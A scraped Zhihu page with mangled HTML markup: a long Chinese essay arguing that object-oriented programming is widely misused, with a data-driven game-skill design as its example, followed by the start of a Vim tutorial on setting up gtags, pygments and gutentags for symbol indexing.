noreferrer&&如此理解面向对象编程&/a&。&br&&br&&br&&br&误解二、&b&面向对象三要素是封装、继承、多态,所以只要是面向对象语言写的程序,就一定“继承”了语言的这三个优良特性&/b&。&br&&br&事实上,如前所述,封装、继承、多态只是语言层面对良好设计的支持,并不能导向良好的设计。&br&如果你的设计做不出真正的封装性、不懂得何谓归一化,那它用什么写出来都是垃圾(不仅如此,因为你的低水平,“面向对象三要素”反而会误导你,使你更快、更远、更诡异的偏离目标)。&br&&br&&br&&br&误解三、&b&把软件写成面向对象的至少是无害的&/b&。&br&&br&要了解事实上是什么,需要先科普几个概念。&br&&br&&br&1、什么是真正的&b&封装&/b&?&br&&br&——回答我,封装是不是等于“把不想让别人看到、以后可能修改的东西用private隐藏起来”?&br&&br&显然&b&不是&/b&。&br&如果功能得不到满足、或者未曾预料到真正发生的需求变更,那么你怎么把一个成员变量/函数放到private里面的,将来就必须怎么把它挪出来。&br&&br&你越瞎搞,越去搞某些华而不实的“灵活性”——比如某种设计模式——真正的需求来临时,你要动的地方就越多。&br&&br&&b&真正的封装是,经过深入的思考,做出良好的抽象,给出“完整且最小”的接口,并使得内部细节可以对外透明(注意:对外透明&/b&的意思是&b&,&/b&外部调用者可以顺利的得到自己想要的任何功能,&b&完全意识不到内部细节的存在;&/b&而不是外部调用者为了完成某个功能、却被碍手碍脚的private声明弄得火冒三丈;最终只能通过怪异、复杂甚至奇葩的机制,才能更改他必须关注的细节——而且这种访问往往被实现的如此复杂,以至于稍不注意就会酿成大祸)。&br&&br&一个设计,只有达到了这个高度,才能真正做到所谓的“封装性”,才能真正杜绝对内部细节的访问。&br&&br&否则,生硬放进private里面的东西,最后还得生硬的被拖出来——当然,这种东西经常会被美化成“访问函数”之类渣渣(不是说访问函数是渣渣,而是说因为设计不良、不得不以访问函数之类玩意儿在封装上到处挖洞洞这种行为是渣渣)。&br&&br&&br&&br&一个典型的例子,就是C++的new和过于灵活的内存使用方式之间的耦合。&br&这个耦合就导致了new[]/delete[]、placement new/placement delete之类怪异的东西:这些东西必须成对使用,怎么分配就必须怎么释放,任何错误搭配都可能导致程序崩溃——这是为了兼容C、以及得到更高执行效率的无奈之举;但,它更是“抽象层次过于复杂,以至于无法做出真正透明的设计”的典型案例:只能说,c++设计者是真正的大师,如此复杂的东西在他手里,才仅仅付出了如此之小的代价。&br&&br&(更准确点说,是new/delete和c++的其它语言元素之间是非正交的;于是当同时使用这些语言元素时,就不可避免的出现了彼此扯淡的现象。即new/delete这个操作对其它语言元素非透明:在c++的设计里,是通过把new/delete分成两层,一是内存分配、二是在分配的内存上初始化,然后暴露这个分层细节,从而在最大程度上实现了封装——但比之其它真正能彼此透明的语言元素间的关系,new/delete显然过于复杂了)&br&&br&这个案例,可以非常直观的说明“设计出真正对外透明的封装”究竟会有多难。&br&&br&&br&2、&strong&接口继承&/strong&真正的好处是什么?是用了继承就显得比较高大上吗?&br&&br&显然不是。&br&&br&接口继承没有任何好处。它只是声明某些对象在某些场景下,可以用归一化的方式处理而已。&br&&br&换句话说,如果不存在“需要不加区分的处理类似的一系列对象”的场合,那么继承不过是在装X罢了。&br&&br&&br&&br&&br&了解了如上两点,那么,很显然:&br&1、如果你没有做出好的抽象、甚至完全不知道需要做好的抽象就忙着去“封装”,那么你只是在“封”和“装”而已。&br&这种“封”和“装”的行为只会制造累赘和虚假的承诺;这些累赘以及必然会变卦的承诺,必然会为未来的维护带来更多的麻烦,甚至拖垮整个项目。&br&&br&正是这种累赘和虚假的承诺的拖累,而不是为了应付“需求改变”所&b&必需&/b&的“灵活性”,才是大多数面向对象项目代码量暴增的元凶。&br&&br&2、没有真正的抓到一类事物(&b&在当前应用场景下&/b&)的根本,就去设计继承结构,是必不会有所得的。&br&&br&不仅如此,请注意我强调了&b&在当前应用场景下&/b&。&br&这是因为,分类是一个极其主观的东西,&b&不存在普适的分类法&/b&。&br&&br&举例来说,我要研究种族歧视,那么必然以肤色分类;换到法医学,那就按死因分类;生物学呢,则搞门科目属种……&br&&br&想象下,需求是“时尚女装”,你却按“窒息死亡/溺水死亡/中毒死亡之体征”来了个分类……你说后面这软件还能写吗?&br&&br&&br&&br&类似的,我遇到过写游戏的却去纠结“武器装备该不该从游戏角色继承”的神人。你觉得呢?&br&&br&事实上,游戏界真正的抽象方法之一是:一切都是个有位置能感受时间流逝的精灵;而某个“感受到时间流逝显示不同图片的对象”,其实就是游戏主角;而“当收到碰撞事件时,改变主角下一轮显示的图片组的”,就是游戏逻辑。&br&&br&&br&看看它和“武器装备该不该从游戏角色继承”能差多远。想想到得后来,以游戏角色为基类的方案会变成什么样子?为什么会这样?&br&&br&&br&&br&&br&&br&最具重量级的炸弹则是:正方形是不是一个矩形?它该不该从矩形继承?如果可以从矩形继承,那么什么是正方形的长和宽?在这个设计里,如果我修改了正方形的长,那么这个正方形类还能不能叫正方形?它不应该自然转换成长方形吗?如果我有两个List,一个存长方形,一个存正方形,自动转换后的对象能否自动迁移到合适的list?什么语言能提供这种机制?如果不能,“一视同仁的处理某个容器中的所有元素”岂不变成了一句屁话?&br&&br&造成这颗炸弹的根本原因是,面向对象中的“类”,和我们日常语言乃至数学语言中的“类”根本就不是一码事。&br&&br&面向对象中的“类”,意思是“接口上兼容的一系列对象”,关注的只不过是接口的兼容性而已(可搜索 里氏代换);关键放在“可一视同仁的处理”上(学术上叫is-a)。&br&&br&显然,这个定义完全是且只是为了应付归一化的需要。&br&&br&这个定义经常和我们日常对话中提到的类概念上重合;但,如前所述,根本上却彻彻底底是八杆子打不着的两码事。&br&&br&就着生活经验滥用“类”这个术语,甚至依靠这种粗浅认识去做设计,必然会导致出现各种各样的偏差。这种设计实质上就是在胡说八道。&br&就着这种胡说八道来写程序——有人觉得这种人能有好结果吗?&br&&br&——但,几乎所有的面向对象语言、差不多所有的面向对象方法论,却就是在鼓励大家都这么做,完全没有意识到它们的理论基础有多么的不牢靠。&br&——如此作死,焉能不死?!&br&&br&&br&——你还敢说面向对象无害吗?&br&&br&——在真正明白何谓封装、何谓归一化之前,每一次写下class,就在错误的道路上又多走了一步。&br&——设计真正需要关注的核心其实很简单,就是封装和归一化。&b&一个项目开始的时候,“class”写的越早,就离这个核心越远&/b&。&br&——过去鼓吹的各种面向对象方法论、甚至某些语言本身,恰恰正是在怂恿甚至逼迫开发者尽可能早、尽可能多的写class。&br&&br&&br&重复一遍:封装可(通过固定接口而)应付需求变更、归一化可简化(类的使用者的)设计:以上,就是面向对象最最基本的好处。&br&——其它一切,都不过是在这两个基础上的衍生而已。&br&&br&换言之,&b&如果得不到这两个基本好处,那么也就没有任何衍生好处&/b&——应付需求变更/简化设计并不是打打嘴炮就能做到的。&br&&br&&br&误解四、只有面向对象语言写的程序才是面向对象的。&br&&br&事实上,unix系统提出泛文件概念时,面向对象语言根本就不存在;游戏界的精灵这个基础抽象,最初是用C甚至汇编写的;……。&br&&br&面向对象其实是汲取以上各种成功设计的经验才提出来的。&br&&br&所以,面向对象的设计,不必非要c++/java之类支持面向对象的语言才能实现;它们不过是在你做出了面向对象的设计之后,能让你写得更惬意一些罢了——但,如果一个项目无需或无法做出面向对象的设计,某些面向对象语言反而会让你很难受。&br&&br&&b&用面向对象语言写程序,和一个程序的设计是面向对象的,两者是八杆子打不着的两码事&/b&。纯C写的linux kernel事实上比c++/java之类语言搞出来的大多数项目更加面向对象——只是绝大部分人都自以为自己到处瞎写class的面条代码才是面向对象的正统、而死脑筋的linus搞的泛文件抽象不过是过程式思维搞出来的老古董。&br&&br&——这个误解之深,甚至达到连wiki词条里面,都把OOP定义为“用支持面向对象的语言写程序”的程度。&br&——我们提及面向对象时,明明在谈论战略、谈论软件总体设计;但总有人把它歪曲成战术方面的、漫无目标却还自我感觉良好的、琐碎的投机。&br&——恐怕这也是没有人说泛文件设计思想是个骗局、而面向对象却被业界大牛们严厉抨击的根本原因了:真正的封装、归一化精髓被抛弃,浮于表面的、喋喋不休的class/设计模式却成了”正统“!&br&&br&借用楼下PeytonCai朋友的链接:&br&&a href=&//link.zhihu.com/?target=http%3A//dev.yesky.com/405/.shtml& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&名家吐槽:面向对象编程从骨子里就有问题&/a&&br&&br&————————————————————————————&br&&br&总结: 面向对象其实是对过去成功的设计经验的总结。但那些成功的设计,不是因为用了封装/归一化而成功,而是&b&切合自己面对的问题,给出了恰到好处的设计&/b&。&br&&br&让一个初学者知道自己应该向封装/归一化这个方向前进,是好的;用一个面向对象的条条框框把他们框在里面、甚至使得他们以为写下class是完全无需思索的、真正应该追求的是设计模式,则是罪恶的——它实质上是把初学者的注意力从真正应该注意的封装、归一化方向引开,欺骗他们陷入“近乎恶意的全方位滥用多态”的泥潭。&br&&br&事实上,class写的越随意,才越需要设计模式;就着错误的实现写得越多、特性用得越多,它就越发的死板,以至于必须更加多得多的特性、模式、甚至语法hack,才能勉强完成需求。&br&&br&只有经过真正的深思熟虑,才有可能做到KISS。&br&&br&&br&到处鼓噪的面向对象编程的最大弊端,是把软件设计工作偷换概念,变成了“就着class及相关教条瞎胡闹,不管有没有好处先插一杠子”,甚至使得人们忘记去关注“抽象是否真正简化了面对的问题”——这是猥琐的投机,不是设计。&br&&br&&b&一言以蔽之:没有银弹。&/b&任何寄希望于靠着某种“高大上”的技术——无论是面向对象、数据驱动、消息驱动还是lambda、协程等等等等——就能一劳永逸的使得任何现实问题“迎刃而解”的企图都是注定要失败的,都不过是外行的意淫而已;靠意淫来做设计,不掉沟里才怪。&br&&br&想要做出KISS的方案,就必须对面对的问题有透彻的了解,有足够的经验和能力,并经过深思熟虑,这才能做出简洁的抽象:至于最终的抽象是面向对象的、面向过程的还是数据驱动/消息驱动的,甚至是大杂烩的,那都无所谓。只要这个设计能做到最重要、也是最难的KISS,它就是个好设计。&br&&br&在特定领域、特定场景下,的确有成功的经验、正确/合理的方向:技术无罪,但,没有银弹。&br&&br&&br&————————————————————————————————————————&br&:&br&&br&嗯,这个是我很久很久以前在CU上发过的一系列帖子……&br&&br&当时很多鼓吹“面向对象就是好来就是好的”就着一知半解胡搅蛮缠,这系列帖子是驳斥他们的。所以很多词句挖苦意味很浓,见谅。&br&&br&&blockquote&再比如,传说中的面向对象本该大显神威的游戏领域——就说流行的WOW吧。&br&&br&这个游戏有10个职业,10个种族,每个种族都有自己的几个特有种族天赋(这个种族天赋还可能根据职业有所不同,比如血精灵);每个职业有几十甚至上百种不同的技能/法术,这些技能有近战技能,有远程技能;有的技能会对敌方造成伤害或不良状态,有的技能能给己方队友加上好的状态或治疗队友;而且很多这类技能还会根据目标的状态切换不同的效果;有些技能是单体效果,有些技能是光环效果(又分为对敌方造成光环效果还是对己方两种,也可能两者兼备),而另一些技能是地图范围效果(如烈焰风暴是一个圆形区域;冰锥术是一个锥形区域;特别的,顺劈斩是在当前攻击目标旁边不超过5码的另一个敌对目标——某个boss的顺劈斩更强,它会从第一个目标传递几十个目标,总传递距离可以达到夸张的几百码;并且这个伤害也是各有特色的:战士的顺劈斩是每个目标伤害固定,有些boss的则是同时挨打的人越多伤害越低,但还有个变态boss却是被打的人越多伤害越高……);大多数技能还可以通过天赋雕文强化/改变的面目全非(比如插一个雕文,法师的火球就不会造成持续伤害但施法速度增加;点一个天赋,法师的冰冷减速效果就会降低对方受到的治疗效果;点某个天赋,盗贼的某些技能攻击就会延长自身提升攻击速度这个状态的持续时间,等等);还有很多技能是因为学习了某个专业或装备/持有某个物品而得到(比如,学了采药,就可以得到生命之血这个技能,每3分钟可用,能够在若干秒内回复你若干生命值——这个技能和采药技能等级挂钩,但很可能接下来的某个版本,就会再和玩家的生命上限值挂钩,以避免它像现在一样,被玩家斥为废柴技能);另外,不同等级的技能可能有施法时间甚至额外特效方面的差别;此外,每个技能会造成不同属性的伤害/效果(神圣、暗影、元素、物理等等),甚至一个技能同时造成多种类型伤害效果,更有冰火球这样根据目标抵抗力而智能选择更大杀伤效果类型的变态魔法……&br&&br&最后,最最重要的是,这所有职业上千个技能(或许加上NPC特有的一些技能,数目会达到几千种)并不稳定,常常会因为某个技能或某些技能的组合过于强大/弱小而加以修改(比如加一个额外的负面状态如无敌/圣疗;甚至全面修改“抗性”“破甲”概念的定义)——玩过wow的都知道,这事几乎每个月都有发生。&br&&br&好吧,你打算怎么设计这数千个技能/效果?&br&或者,你就这样把这些概念用class这个筐一装,然后到处开特例、特例都解决不了就搞23个模式使劲往一块粘,管他整体结构如何,淌哪算哪?&br&&br&扯淡。&br&&br&&br&有个故事说的好:&br&有人送几个瞎子一条鱼,瞎子们高兴坏了,决定熬鱼汤喝。鱼汤熬好了,瞎子甲尝了一口,真鲜啊;瞎子乙赶紧也喝一口,太鲜了,太好喝了。几个瞎子一边喝一边赞美——忽然瞎子丙叫了起来:鱼跳我脚上了,它不在锅里!&br&众瞎子大惊:这鱼都没放到锅里,汤就鲜成这样了;要是放进锅里,还不得把我们都鲜死啊!&br&&br&众面向对象原教旨主义者把事情搅得一团糟,同样也会大惊:天哪,用了面向对象都复杂成这样,这要不用面向对象,这软件就不能写了吧!&/blockquote&&br&&br&&blockquote&想想看,假如让那些面向对象原教旨主义者来设计,会出现什么情况:&br&&br&定义一个基类叫技能;然后一个继承类叫法术技能,另一个叫物理技能;然后神圣法术从法术技能继承,疾病法术也从法术技能继承;由于圣骑士一个技能同时具备物理和法术两种效果,于是必须多重继承神圣法术和物理技能;多重继承太危险,于是不得不把神圣法术搞成接口类,引入接口继承甚至带实现的纯虚函数等等高端概念;然后,活该枪毙的暴雪设计师又想出了让某个技能同时对目标加上神圣持续伤害效果的奇怪点子——于是不得不再加个继承层次,使得神圣法术是神圣持续伤害法术的子集:仅立刻造成一次持续伤害的DOT(damage of time)技能……&br&&br&那么,点一个天赋,一个技能就会有dot,否则就没有怎么办?&br&&br&设计模式是灵丹妙药,不是吗 ^_^&br&&br&&br&等到把这所有几千个技能全部搞定,起码也是一个数万个类、几十层的恐怖继承树,并且会用完23个设计模式(甚至再发明几个新模式出来,我也不会感到奇怪),精巧复杂到没有任何人愿意去碰它。&br&&br&&br&但,请注意,天杀的暴雪设计师,在最开始的设计方案里规定DOT不能暴击;后来又添加约定说某某某职业的某个dot可以暴击;另一个职业的某个dot在点天赋后可暴击;至于死亡骑士,在他穿了T9套装中的其中四件装备时,他的某个瘟疫类型的dot可以暴击——但另一个瘟疫dot永远不能暴击。&br&&br&&br&嗯嗯嗯,太好解决了——这不就是策略模式吗?&br&&br&好吧,你再填几十几百个类体系,然后把旧的几十层继承树中的数万个类一个个都策略化吧。反正不是我在维护……&br&&br&&br&&br&哎呀不好,那个枪毙了几百次都还没死的暴雪设计师又出馊主意了,他要求:当死亡骑士点了邪恶系的某个天赋时,不光给他增加一个新的dot、并且在这个新dot的存在期间,还要保护他的两个dot性疾病和1个debuf性疾病不被驱散!&br&&br&&br&继续补充:在WLK里面,那个脑袋都被子弹打成筛子了的暴雪设计师又跳出来了,用他满是漏洞的脑子出了个该杀的主意:他要求添加载具概念,当玩家坐上载具时,临时删除他的所有技能,替换为载具的技能;或者当他坐在特定载具的特定位置时,防止他受到任何伤害、并且允许他释放自己的所有技能!&br&更该死的是,他要求,一些技能本来不允许在移动中施放;但现在,当玩家坐在载具上某个位置时,要临时允许他移动施法!&br&&br&还有,为了平衡某个野外战场,他还要求,在某方人数较少时,临时根据提高他们的生命值和所有技能的攻击力和治疗能力——这个改变必须根据进入战场的人数实时进行;在一方连续在某个战场失败时,同样要给他们一定补偿!&br&&br&&br&&br&嗯嗯,看看这些不断改变的刁钻需求吧,如果没有面向对象,没有以策略模式为首的28个设计模式(我有理由相信你们需要至少28个设计模式而不是23个)的英明领导,我们这些没接触过大项目、不懂面向对象的傻B们,就是哭的拿眼泪把长城溶解掉都没办法吧?——我当然知道搭建长城的材料极难溶与水。&br&&br&可怜的瞎子,你们的鱼汤很鲜吧?&/blockquote&&br&&br&&br&&br&嗯,到这里,希望读者们也能停下来,好好思考一下,看看这个问题该如何解决。&br&&br&&br&&br&&br&&br&&br&&br&&br&&br&&br&&br&&br&&br&&br&想到了没有?&br&这里是答案,看看你的想法是否能不谋而合吧:&br&&br&&blockquote&这个问题暴雪在Diablo 2时代已经完美解决了: 法术/技能数据库化&br&&br&&br&所谓数据库化,其实等同于表格化,例如这个随便杜撰出来的简化方案,是设计一个有如下字段的数据表格:&br&&br&法术ID 动画效果 作用范围 作用类型 属性 特殊限制 强化类型 特殊设定&br&&br&&br&其中,特殊设定字段可以是一段LUA代码,可以在其中搜索、设置极其特殊的伤害类型,或者查询顺劈斩/治疗链等奇特技能的传递目标等等。&br&&br&特殊限制字段设定法术的施法或/和生效条件,如驱散限定为只能作用于魔法性buf/debuf(根据职业不同,可能有进攻性驱散和防守性驱散之一,也可能同时具备——这就体现在可否驱散敌方/友方目标的debuf)&br&&br&&br&&br&在这个方案下,释放一个法术/技能,就成为一种查表运算——找到此法术ID,找到它的作用类型和伤害属性,计算特殊设定(包括但不限于顺劈斩模式的判断、天赋加成和天赋效果、雕文加成和雕文效果等等)。&br&&br&于是,到最后,整个法术体系被分为一组组的魔法buf/debuf、物理buf/debuf,这些buf/debuf会影响伤害公式中的某个因子或者造成伤害效果;而伤害效果又分为立即伤害/立即治疗和持续伤害/持续治疗;最后则是一套影响范围判定机制。&br&&br&&br&举例来说,骑士开圣盾,他同时得到一个buf和一个debuf。&br&buf是“无敌”,效果相当于设置伤害公式 a*(....) 前面的a因子为0(没有无敌时此因子为1),于是所有伤害无效。&br&debuf则是“自律”,因为他的圣盾、圣疗技能判断条件里都有“有自律debuf,则不允许使用”的设定,于是禁止他在短时间内再次使用这些无赖技能。&br&&br&敌方法师对他释放寒冰箭,系统受理,但查询骑士状态,发现他处于无敌状态,返回大大的两个字“免疫”。&br&&br&然后,有一个敌方牧师对他使用驱散,查询牧师的驱散术发现,在驱散术的可驱散列表里没有圣盾术,于是提示无法驱散或驱散了另外的可驱散(魔法)效果。&br&敌方牧师迅速反应过来,再次对他使用强力驱散;查询牧师强力驱散术,发现该牧师在不久前使用过强力驱散,提示无法施法。&br&等待3秒后,敌方牧师发现自己的强力驱散冷却(cool down),再次使用强力驱散,查询发现强力驱散可驱散圣盾术,于是成功移除骑士的无敌状态。&br&&br&现在,敌方法师再次对他释放寒冰箭,骑士切换冰抗光环,系统查询骑士状态,发现冰抗光环,又查询法师穿透等级,和暴击等级,根据公式计算能否命中、能否造成全额伤害以及能否暴击;然后提取法师和骑士双方装备、天赋数据代入公式计算伤害加成、减免数据,最后给出骑士受到的伤害数字(包括部分抵抗了多少)。&br&&br&&br&&br&在暴雪设计师的整理之下,如上种种最终构成了几个表格;只要查询并代入相应的数据,即可计算出伤害/治疗数值以及类型;特殊效果可以用存储在数据库中的LUA代码补充完成。&br&&br&最终的设计效果就好像内嵌了一个解释器,这个解释器会根据法术ID解释执行数据库内部的相关内容。&br&&br&&br&这样一来,只要伤害公式、伤害/buf类型、动画效果等等就位,那么新增一个法术就只不过是在数据库中新增一条记录;让某个角色学会一个新法术,则只需在它的可使用法术列表里添加法术名称(或法术ID);释放法术是根据法术ID在数据库中提取动画;计算伤害是根据法术ID读取伤害公式,然后代入相关字段并求值。&br&&br&而这一切,甚至可以通过内部实现的编辑器,用图形界面完成。&br&&br&&br&如何?无与伦比的扩展性和便利性,是吧?&/blockquote&&br&&br&这么一整套东西,核心代码很可能只有数千甚至数百行。这是因为看似复杂的光环、buf等等东西,其实都已经抽象到和其他法术同样的流程上来了。最终,所有这些全部归一为解释执行伤害公式、提取执行指定动画之类寥寥几个通用过程——&b&这显然同样是封装和归一化思想结出的另一颗果实。但为什么你就是想不到封装和归一化还能这样用?很简单,因为你被那些只会就着浅显的多态喋喋不休的笨蛋彻底引偏方向了。&/b&&br&&br&我并没有亲自实现过这个,所以不敢断定这玩意儿靠几百行代码真的就能全部实现;但根据我在其它项目上的经验,这套东西应该就是数百行代码就可以写出来的——但写出并调试好这数百行代码所需的时间可能是一个星期甚至一个月。&br&&br&相比于不假思索的写下class所必然导致的庞大、复杂的类层次,以及扯来扯去蛋疼无比的复杂的设计模式大网,这玩意儿的实现、维护、修改、扩展的便利程度,显然不是一个量级的:前者可能数百人努力数年、弄出几百万行代码都不能正确实现需求,而且必然bug满天飞;而后者,一个人,个把月,千把行代码,完成。如果实现水平足够的话,写完就再不用碰代码,而是去写图形编辑工具了。之后,扩展、维护都不过是用自己实现的工具拖来拖去再改改属性、数值,然后点存盘写入数据库,完事。&br&&br&&br&所以说,万不可死板的傻抱着面向对象不放。你所面对的问题才是最重要的。&br&你必须随机应变给出合适的方案——至于最后的设计方案会是什么流派,那玩意儿根本无关紧要。拿出一个简单、有效、可靠的方案,比什么都重要。&br&&br&最后,还是我在前文总结的那句话:&br&&blockquote&&p&封装可(通过固定接口而)应付需求变更、归一化可简化(类的使用者的)设计:以上,就是面向对象最最基本的好处。其它一切,都不过是在这两个基础上的衍生而已。&/p&&br&&p&换言之,如果得不到这两个基本好处,那么也就没有任何衍生好处——应付需求变更/简化设计并不是打打嘴炮就能做到的。&/p&&/blockquote&&br&再强调一遍,应付需求变更/简化设计并不是空洞的宣传口号。&br&&br&&b&封装和归一化类似军队制度建设,目标是搞出一个标准化、立体、多变、高效的指挥体系,从而获得打大战、打硬战的能力&/b&,然后再去轻松碾压问题。此所谓战略。&br&&br&而那些堆砌无用的所谓“设计模式”的家伙,其实是在每个零件表面粘上挂钩——据他们说,这样会增加灵活性、应对需求变更、简化设计:比如说你带了个包,就可以挂他们在飞轮上粘的那个勾子上。&br&&br&但实际上,你永远不会把包挂飞轮上(但你还是不得不为那些”聪明绝顶“的家伙“为了避免飞轮上的钩子脱落、挂住其它零件、离心力太大破坏挂在上面的包”等等而衍生出的”杰出“设计买单)。&br&幸运的是,除了某些企业项目(或其他类似性质的项目),你并不会用到这么烂的东西。因为这些笨蛋到处乱粘的钩子会不可避免的导致整个项目变成黏糊糊的一团,从而在旷日持久的拖延后自杀。&br&&br&这种做法,显然是和面向对象的初心——通过封装和归一化获得高效指挥体系——背道而驰,从而使得每个中了这种毒的家伙参与的项目不可避免的成为一滩稀屎。&br&&br&所以,很遗憾,只有杀马特设计师才会这样做。真正的设计师压根不会在设计发动机时考虑“飞轮上挂包”这样的需求(这就叫“以不知所谓的战术投机代替战略布局”)。他会干净利落的在整车设计时加个后备箱。&br&&br&&br&&br&&br&请注意,这并不是个比喻。&br&&br&如你所见,在”每个零件上粘上挂钩“这种事情实在太过疯狂,所以在其他行业连玩笑都不是,因为再傻的人都不会这么做。&br&&br&然而在软件设计时……这种事情是如此多见,多见到面向对象的领军人物会推荐别人这样做(&a href=&//link.zhihu.com/?target=http%3A//coolshell.cn/articles/8745.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&如此理解面向对象编程&/a&);多见到业内很多大佬都不得不站出来,怒斥”面向对象是个骗局“。&br&&br&&a href=&//link.zhihu.com/?target=http%3A//dev.yesky.com/405/.shtml& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&名家吐槽:面向对象编程从骨子里就有问题&/a&&br&“面向对象编程是一个极其糟糕的主意,只有硅谷里的人能干出这种事情。” — Edsger Dijkstra(图灵奖获得者)&br&&br&&a href=&//link.zhihu.com/?target=http%3A//en.wikipedia.org/wiki/Edsger_W._Dijkstra& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Edsger W. Dijkstra&/a&&br&&br&如此沉重的心智负担,这显然是面向对象的原罪。
弊端是,没有人还记得面向对象原本要解决的问题是什么。 1、面向对象原本要解决什么(或者说有什么优良特性) 似乎很简单,但实际又很不简单:面向对象三要素封装、继承、多态 (警告:事实上,从业界如此总结出这面向对象三要素的一刹那开始,就已经开始犯…
&p&符号索引是个重要功能,不论阅读新项目,还是开发复杂点的大项目,符号索引都能帮你迅速掌握项目脉络,加快开发进度。传统 ctags 系统虽和 vim 结合紧密,但只能查定义无法查引用,cscope 能查引用,但只支持 C 语言,C++都不支持,况且常年不更新。ctags 由于使用文本格式存储数据,虽用了二分查找,但打开 Linux Kernel 这样的大项目时,查询会有卡顿的感觉。&/p&&p&&a href=&https://link.zhihu.com/?target=https%3A//www.gnu.org/software/global/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&GTags&/a& (或者叫做 GNU GLOBAL)比起 ctags 来说,有几个主要的优点:&/p&&ol&&li&不但能查定义,还能查引用&/li&&li&原生支持 6 种语言(C,C++,Java,PHP4,Yacc,汇编)&/li&&li&扩展支持 50+ 种语言(包括 go/rust/scala 等,基本覆盖所有主流语言)&/li&&li&使用性能更好的本地数据库存储符号,而不是 ctags 那种普通文本文件&/li&&li&支持增量更新,每次只索引改变过的文件&/li&&li&多种输出格式,能更好的同编辑器相集成&/li&&/ol&&p&曾经用过 gtags 的人或许会问,gtags 我都用过好几年了,也没见用出朵花来啊? 现在不管是 vscode 还是 sublime text 或者 emacs ,不都有 gtags 插件了么,要用简单得很,还有比较好的用户体验,你在 vim 下配置半天图啥呢?&/p&&p&答案是,如果还停留在这些传统体验上,那我也没必要写这篇文章了。现实中,大部分人都没有用对 gtags,如果你能够在 Vim 下正确使用 gtags,不但能极大的方便你开发复杂项目或者阅读新项目代码,还能获得比上面所有编辑器更好的体验。&/p&&p&Vim中的符号索引,他真能玩出花来,接下来本文将一步步教你 DIY 一套超越市面上任何编辑器(vscode,emacs,vscode)体验的最强静态符号索引系统。&/p&&p&&br&&/p&&p&&b&正确安装 GTags&/b&&/p&&p&请首先安装最新版本 gtags,目前版本是 6.6.2,Windows 下可到 &a href=&https://link.zhihu.com/?target=http%3A//adoxa.altervista.org/global/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&[这里]&/a& 下载可执行,Linux 下请自行编译最新版(Debian / Ubuntu 自带的都太老了),Mac 下检查下 brew 安装的版本至少不要低于 6.6.0 ,否则请自己编译。&/p&&p&只写 C/C++/Java 的话,那么到这里就够了,gtags 原生支持。如想要更多语言,那么 gtags 是支持使用 ctags/universal-ctags 或者 pygments 来作为分析前端支持 50+ 种语言。使用 ctags/universal-ctags 作为前端只能生成定义索引不能生成引用索引,因此我们要安装 pygments ,保证你的 $PATH 里面有 python,接着:&/p&&div class=&highlight&&&pre&&code class=&language-bash&&&span&&/span&pip install pygments
&/code&&/pre&&/div&&p&保证 Vim 里要设置过两个环境变量才能正常工作:&/p&&div class=&highlight&&&pre&&code class=&language-vim&&&span&&/span&&span class=&k&&let&/span& $GTAGSLABEL &span class=&p&&=&/span& &span class=&s1&&'native-pygments'&/span&
&span class=&k&&let&/span& $GTAGSCONF &span class=&p&&=&/span& &span class=&s1&&'/path/to/share/gtags/gtags.conf'&/span&
&/code&&/pre&&/div&&p&第一个 GTAGSLABEL 告诉 gtags 默认 C/C++/Java 等六种原生支持的代码直接使用 gtags 本地分析器,而其他语言使用 pygments 模块。&/p&&p&第二个环境变量必须设置,否则会找不到 native-pygments 和 language map 的定义, Windows 下面在 gtags/share/gtags/gtags.conf,Linux 下要到 /usr/local/share/gtags 里找,也可以把它拷贝成 ~/.globalrc ,Vim 配置的时候方便点。&/p&&p&实际使用 pygments 时,gtags 会启动 python 运行名为 pygments_parser.py 的脚本,通过管道和它通信,完成源代码分析,故需保证 gtags 能在 $PATH 里调用
python,且这个 python 安装了 pygments 模块。&/p&&p&正确安装后,可以通过命令行 gtags 命令和 global 进行测试,注意shell 下设置环境变量。&/p&&p&&br&&/p&&p&&b&自动生成 Gtags&/b&&/p&&p&VSCode 中的 C++ Intellisense 插件就是使用 Gtags 来提供 intellisense 的,但是它有两个非常不好用的地方:&/p&&ul&&li&代码修改了需要自己手动去运行 gtags ,更新符号索引&/li&&li&会在代码目录下生成:GTAGS,GRTAGS,GPATH 三个文件,污染我的项目目录&/li&&/ul&&p&第一条是我过去几次使用 gtags 最头疼的一个问题;第二条也蛋疼,碍眼不说,有时不小心就把三个文件提交到代码仓库里了,极端讨厌。&/p&&p&那么 Vim 8 下有无更优雅的方式,自动打点好 gtags 三个文件,放到一个统一的地方,并且文件更新了自动帮我更新数据,让我根本体验不倒 gtags 的这些负担,完全流畅的使用 gtags 的各种功能呢?&/p&&p&当然有,使用我在《&a href=&https://www.zhihu.com/question//answer/& class=&internal&&韦易笑:如何在 Linux 下利用 Vim 搭建 C/C++ 开发环境?&/a&》中介绍过的 &a href=&https://link.zhihu.com/?target=https%3A//github.com/ludovicchabant/vim-gutentags& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&gutentags&/a& 插件来打理,它不但能根据文件改动自动生成 ctags 数据,还能帮我们自动更新 gtags 数据,稍微扩充一下上文的配置,让 gutentags 同时支持
ctags/gtags:&/p&&div class=&highlight&&&pre&&code class=&language-vim&&&span&&/span&&span class=&c&&& gutentags 搜索工程目录的标志,当前文件路径向上递归直到碰到这些文件/目录名&/span&
&span class=&k&&let&/span& &span class=&k&&g&/span&:gutentags_project_root &span class=&p&&=&/span& [&span class=&s1&&'.root'&/span&&span class=&p&&,&/span& &span class=&s1&&'.svn'&/span&&span class=&p&&,&/span& &span class=&s1&&'.git'&/span&&span class=&p&&,&/span& &span class=&s1&&'.hg'&/span&&span class=&p&&,&/span& &span class=&s1&&'.project'&/span&]
&span class=&c&&& 所生成的数据文件的名称&/span&
&span class=&k&&let&/span& &span class=&k&&g&/span&:gutentags_ctags_tagfile &span class=&p&&=&/span& &span class=&s1&&'.tags'&/span&
&span class=&c&&& 同时开启 ctags 和 gtags 支持:&/span&
&span class=&k&&let&/span& &span class=&k&&g&/span&:gutentags_modules &span class=&p&&=&/span& []
&span class=&k&&if&/span& executable&span class=&p&&(&/span&&span class=&s1&&'ctags'&/span&&span class=&p&&)&/span&
